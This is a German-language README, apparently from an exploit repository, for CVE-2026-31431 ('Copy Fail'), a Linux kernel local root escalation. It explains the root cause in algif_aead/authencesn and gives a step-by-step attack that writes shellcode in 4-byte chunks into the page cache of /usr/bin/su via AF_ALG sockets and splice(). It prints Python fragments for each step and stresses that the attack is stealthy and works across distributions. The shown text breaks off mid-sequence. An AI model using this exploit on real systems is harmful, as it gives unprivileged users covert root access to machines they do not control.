
Python-Exploit für CVE-2026-31431, eine Linux-Kernel-Privilegienerweiterung über Page-Cache-Korruption von setuid-Binaries, die Root-Zugriff ermöglicht.
Copy Fail (CVE-2026-31431) ist ein kritischer Logikfehler im kryptografischen Subsystem des Linux-Kernels, der es unprivilegierten Benutzern ermöglicht, eine Privilege Escalation auf Root zu erreichen. Die Schwachstelle betrifft Linux-Kernel 6.0.0 bis 6.18.x in allen gängigen Distributionen.
Dieses Repository enthält den echten Exploit, der die Schwachstelle auslöst, indem er den Page Cache von setuid-Binaries korrumpiert und beliebigen Code mit Root-Rechten ausführt.
Copy Fail ist ein Logikfehler, der es unprivilegierten Benutzern ermöglicht, beliebige 4-Byte-Blöcke direkt in den Page Cache des Kernels jeder lesbaren Datei auf dem System zu schreiben, einschließlich setuid-Binaries.
Wesentliche Merkmale:
Die Schwachstelle stammt aus einer Optimierung von 2017 in algif_aead.c (Commit 72548b093ee3), die AEAD-Operationen von Out-of-Place auf In-Place umstellte:
Vorher (sicher – 2015):
TX-Scatterlist (Eingabe) ← TX-Puffer (Benutzerdaten aus Datei)
RX-Scatterlist (Ausgabe) ← RX-Puffer (Ausgabebereich des Benutzers)
Getrennte Scatterlists = Page-Cache-Seiten sind schreibgeschützt
Nachher (verwundbar – 2017):
Kombinierte Scatterlist:
[ RX-Puffer ] [ Page-Cache-Seiten, verkettet über sg_chain() ]
↑ ↑
req->src = src req->dst = dst (GLEICHE Scatterlist)
Page-Cache-Seiten befinden sich jetzt in einer SCHREIBBAREN Scatterlist!
Die kombinierte Scatterlist sieht wie folgt aus:
[AAD + Chiffrat aus RX-Puffer] || [Tag aus /usr/bin/su Page Cache]
↑
Grenze
(authencesn schreibt ÜBER diesen Punkt hinaus)
Der authencesn-Algorithmus ist ein AEAD-Wrapper, der von IPsec für Extended Sequence Numbers (ESN) verwendet wird. Er führt eine HMAC-Berechnung durch, muss aber Bytes innerhalb der AAD (Associated Authenticated Data) neu anordnen.
Im Kernel-Code (crypto/authenc.c) während der Entschlüsselung:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // AAD-Bytes 0-7 lesen
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporär: dst[4..7] überschreiben
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← SCHLÜSSELZEILE
// 4 Bytes bei dst[assoclen+cryptlen] schreiben
Das Problem: Der dritte Schreibvorgang erfolgt am Offset assoclen + cryptlen. Im verwundbaren In-Place-Pfad:
Der Kernel behandelt diese Position als „verbrauchbaren Scratch-Speicher" und schreibt den Wert dort dauerhaft. Die ursprünglichen Bytes an dieser Position im Page Cache gehen für immer verloren.
1. Angreifer öffnet AF_ALG-Socket → bindet an authencesn(hmac(sha256),cbc(aes))
(Keine Privilegien erforderlich; AF_ALG ist für unprivilegierte Benutzer standardmäßig verfügbar)
2. Angreifer öffnet Zieldatei: /usr/bin/su (setuid-root-Binary)
3. Angreifer verwendet splice(), um die Page-Cache-Seiten von /usr/bin/su
als „Chiffrat" und „Tag" in den AF_ALG-Socket zu liefern
4. Angreifer sendet sendmsg() mit AAD, das Folgendes enthält:
- Bytes 0-3: Padding
- Bytes 4-7: seqno_lo = 4-Byte-Wert zum Schreiben (vom Angreifer kontrolliert)
- Bytes 8+: Padding
5. Angreifer ruft recvmsg() auf, das die AEAD-Entschlüsselungsoperation auslöst
Innerhalb von authencesns Entschlüsselung im Kernel-Space:
a) Kernel liest AAD-Bytes 0-7
b) Kernel schreibt seqno_hi bei dst[4..7] (temporär, dann wiederhergestellt)
c) Kernel schreibt seqno_lo bei dst[assoclen + cryptlen]
↓
DIESER SCHREIBVORGANG ÜBERSCHREITET DIE GRENZE VOM BENUTZERPUFFER IN DIE PAGE-CACHE-SEITEN
↓
4-Byte-Schreibvorgang in den Page Cache von /usr/bin/su erfolgt HIER
d) Kernel berechnet HMAC (Validierung schlägt fehl – Chiffrat ist fabriziert)
e) recvmsg() gibt einen Fehler zurück
ABER: Der 4-Byte-Schreibvorgang BLEIBT BEREITS im Page Cache bestehen
6. Angreifer wiederholt Schritte 2-5 für jeden 4-Byte-Block des Shellcodes
7. Angreifer führt /usr/bin/su aus
- Kernel lädt die Binary aus dem PAGE CACHE (der jetzt Shellcode enthält)
- Binary ist setuid-root
- Shellcode wird mit UID=0 ausgeführt
- Angreifer hat Root-Zugriff
| Aspekt | Erklärung |
|---|---|
| Keine Abstürze | Operation wird aus Sicht des Kernels abgeschlossen |
| Deterministisch | Keine Race Conditions; synchron und zuverlässig |
| Persistent | Page-Cache-Korruption übersteht sogar den recvmsg()-Fehler |
| Unsichtbar | Datei auf der Festplatte unberührt; Standard-Integritätstools erkennen nichts |
| Universell | Derselbe Code funktioniert auf allen Distributionen; keine distrospezifischen Offsets erforderlich |
| Portabel | Funktioniert auf x86-64- und ARM64-Architekturen |
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Request-Socket für AEAD-Operationen
Erstellt einen AF_ALG-Socket, der an die authencesn-AEAD-Vorlage gebunden ist.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Öffnet die setuid-Binary, die korrumpiert wird. Jede lesbare Datei funktioniert, aber setuid-Binaries werden für die Privilege Escalation gewählt.
pipe_rd, pipe_wr = os.pipe()
Erstellt eine Pipe, die als Vermittler für splice()-Operationen dient. Die Pipe-Puffer halten Referenzen auf Page-Cache-Seiten.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Verwendet splice(), um cryptlen Bytes von /usr/bin/su ab write_offset in die Pipe zu übertragen.
Warum das wichtig ist: splice() überträgt Daten zwischen Dateideskriptoren ohne Kopieren. Es übergibt direkte Referenzen auf Kernel-Page-Cache-Seiten. Diese Seiten bleiben in der internen Pufferstruktur der Pipe.
assoclen = 8 # AAD-Länge: Bytes 0-7
cryptlen = 32 # Chiffratlänge (== HMAC-SHA256-Ausgabe)
authsize = 32 # Tag-Länge
write_offset = 0x2000 # Offset in /usr/bin/su, an das geschrieben wird
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
Die AAD (Associated Authenticated Data) enthält:
Der authencesn-Algorithmus verwendet Bytes 4-7 dieser AAD in seinem Scratch-Write.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
Sendet die AAD an den AF_ALG-Socket. Das MSG_MORE-Flag zeigt an, dass Chiffrat/Tag folgen.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)